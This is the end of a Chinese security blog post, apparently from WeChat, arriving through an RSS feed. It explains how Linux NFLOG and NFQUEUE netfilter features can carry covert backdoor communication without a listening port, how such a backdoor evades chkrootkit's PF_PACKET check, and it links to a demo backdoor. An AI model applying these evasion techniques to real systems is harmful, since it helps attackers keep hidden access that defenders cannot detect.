{{nla_len=6, nla_type=0xf}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x01&#34;</span>}, {{nla_len=6, nla_type=0x11}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x0e&#34;</span>}, {{nla_len=18, nla_type=0x10}, <span style="color: #98c379;line-height: 26px;">&#34;\xfa\x28\x00\x0d\x3f\xff\xfa\x16\x3e\xd1\x8d\x2d\x08\x00&#34;</span>}, {{nla_len=20, nla_type=0x3}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x00\x00\x00\x63\x08\x57\x83\x00\x00\x00\x00\x00\x03\x49\x03&#34;</span>}, {{nla_len=68, nla_type=0x9}, <span style="color: #98c379;line-height: 26px;">&#34;\x45\x00\x00\x40\x00\x00\x40\x00\x32\x06\x1e\xc0\x6f\xc5\xee\x1e\xac\x10\x20\x04\x5b\x41\xff\xfd\x5a\x0c\x47\xf0\x00\x00\x00\x00&#34;</span>...}]}, {{len=184, <span style="color: #e6c07b;line-height: 26px;">type</span>=NFNL_SUBSYS_ULOG&lt;&lt;8|NFULNL_MSG_PACKET, flags=0, seq=0, pid=0}, {nfgen_family=AF_INET, version=NFNETLINK_V0, res_id=htons(2333), [{{nla_len=8, nla_type=NFNETLINK_V1}, <span style="color: #98c379;line-height: 26px;">&#34;\x08\x00\x01\x00&#34;</span>}, {{nla_len=5, nla_type=0xa}, <span style="color: #98c379;line-height: 26px;">&#34;\x00&#34;</span>}, {{nla_len=8, nla_type=0x4}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x00\x00\x02&#34;</span>}, {{nla_len=16, nla_type=0x8}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x06\x00\x00\xfa\x16\x3e\xd1\x8d\x2d\x00\x00&#34;</span>}, {{nla_len=6, nla_type=0xf}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x01&#34;</span>}, {{nla_len=6, nla_type=0x11}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x0e&#34;</span>}, {{nla_len=18, nla_type=0x10}, <span style="color: #98c379;line-height: 26px;">&#34;\xfa\x28\x00\x0d\x3f\xff\xfa\x16\x3e\xd1\x8d\x2d\x08\x00&#34;</span>}, {{nla_len=20, nla_type=0x3}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x00\x00\x00\x63\x08\x57\x84\x00\x00\x00\x00\x00\x03\x4b\x6c&#34;</span>}, {{nla_len=68, nla_type=0x9}, <span style="color: #98c379;line-height: 26px;">&#34;\x45\x00\x00\x40\x00\x00\x40\x00\x32\x06\x1e\xc0\x6f\xc5\xee\x1e\xac\x10\x20\x04\x5b\x41\xff\xfd\x5a\x0c\x47\xf0\x00\x00\x00\x00&#34;</span>...}]}, {{len=20, <span style="color: #e6c07b;line-height: 26px;">type</span>=NLMSG_DONE, flags=0, seq=0, pid=0}, 0}], 262272, 0, NULL, NULL) = 388<br/></code></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;">不知道为什么实现监听流量时，厂家选择了基于<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFLOG</code>而不是<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AF_PACKET</code>来做。</p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">而在实现后门中，我们也可以用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFLOG</code>作为被控端和主控端的通信方式，下面来看一下它有什么好处。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>利用<code>NFLOG</code>做后门有什么好处</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">就像在 <a href="https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485176&amp;idx=1&amp;sn=5f75751bc90a5b136df281114f9aabe9&amp;scene=21#wechat_redirect" style="text-decoration: none;color: #1e6bb8;word-wrap: break-word;font-weight: bold;border-bottom: 1px solid #1e6bb8;" data-linktype="2">聊一聊基于&#34;ebpf xdp&#34;的rootkit</a> 中我看到的: &#34;rootkit用xdp ebpf和bpf技术都是为了通信时不监听端口，从而在网络行为上隐藏痕迹&#34;。同样<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFLOG</code>也可以达到这个目的，甚至使用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFLOG</code>相对于基于<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AF_PACKET</code>的bpf后门从网络行为上看更隐蔽一点。为什么这么说呢？</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">举个例子，<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">chkrootkit</code>反入侵工具会通过<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/proc/net/packet</code>检查哪些进程创建了<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PF_PACKET</code>类型socket，因此可以发现bpf后门痕迹。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv tmp]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># gcc ifpromisc.c</span><br/>[root@instance-h9w7mlyv tmp]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># ./a.out</span><br/>eth0: PF_PACKET(/usr/decoy/decoysvc, /usr/sbin/NetworkManager)<br/>docker0: PF_PACKET(/usr/sbin/NetworkManager)<br/></code></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;">AF_PACKET 和 PF_PACKET 同义</p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">chkrootkit</code>目前就不会检查<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFLOG</code>后门。虽然从<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/proc/net/netlink</code>也可以看到哪些进程创建了<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AF_NETLINK</code>类型socket，但是系统上正常进程也会创建很多<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AF_NETLINK</code>类型socket，比如我在centos8虚机上看到有30多个记录。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv tmp]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># cat /proc/net/netlink | wc -l</span><br/>32<br/></code></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span style="color: #1e6bb8;font-weight: bold;">聊一聊chkrookit的误信和误用</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup> 文章提到<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">chkrootkit</code>会扫描PF_PACKET</p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">利用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFLOG</code>也应该比较稳定。为什么我这么认为呢？</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484230&amp;idx=1&amp;sn=7a0853cd0cc8f6ce58a86d57627eba9b&amp;scene=21#wechat_redirect" style="text-decoration: none;color: #1e6bb8;word-wrap: break-word;font-weight: bold;border-bottom: 1px solid #1e6bb8;" data-linktype="2">一种HTTP隧道内核态远控的实现方法</a> 文中提到一个思路: 在内核态基于netfilter实现一个可回显的后门。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">而<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFLOG</code>有现成的lib库做用户态编程，相比于内核编程，我想用户态程序应该更稳定、适配性更好吧。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">另外，iptables还提供了一个和<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFLOG</code>类似的扩展<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFQUEUE</code>，<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">man iptables-extensions</code>文档提到<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFQUEUE</code>可以修改数据包。所以是不是可以用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">NFQUEUE</code>在用户态基于netfilter实现一个可回显的后门呢？</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>NFQUEUE后门demo</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我基于<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">libnetfilter_queue</code>写了一个后门demo</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">代码我放在了 <a href="https://gist.github.com/leveryd/f70bd0adbf8088446d98ec11ef16f478" target="_blank">https://gist.github.com/leveryd/f70bd0adbf8088446d98ec11ef16f478</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">运行效果如下</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.648075412411626" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="2546" src="https://wechat2rss.xlab.app/img-proxy/?k=e303dda3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwCyf4P69r1BnlxEjxxRWqXVB1YgdBtQ5kALgMY90riasEmvKdAGABg8ThuVMNwr1LIW7ibwpxplicvQ%2F640%3Fwx_fmt%3Dpng"/></figure><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;">因为我懒，所以这个后门没有实现回显。</p></blockquote><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">NFLOG在蜜罐、后门实现时都可以用到。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">实现后门时，它的优点包括通信较为隐蔽、稳定、可回显。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background: none;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;">[1]</span><p style="padding-top: 8px;padding-bottom: 8px;display: inline;font-size: 14px;width: 90%;padding: 0px;margin: 0;line-height: 26px;color: black;word-break: break-all;width: calc(100%-50);">聊一聊chkrookit的误信和误用: <em style="font-style: italic;color: black;"><a href="https://tttang.com/archive/340" target="_blank">https://tttang.com/archive/340</a></em></p></span></section></section><p><br/></p>



<p><a href="2247485208">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ed466680&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485208%26idx%3D1%26sn%3Dd5f9c5b638f927452dbfc314a1fb15cf%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 Aug 2022 14:40:00 +0800</pubDate>
    </item>
  </channel>
</rss>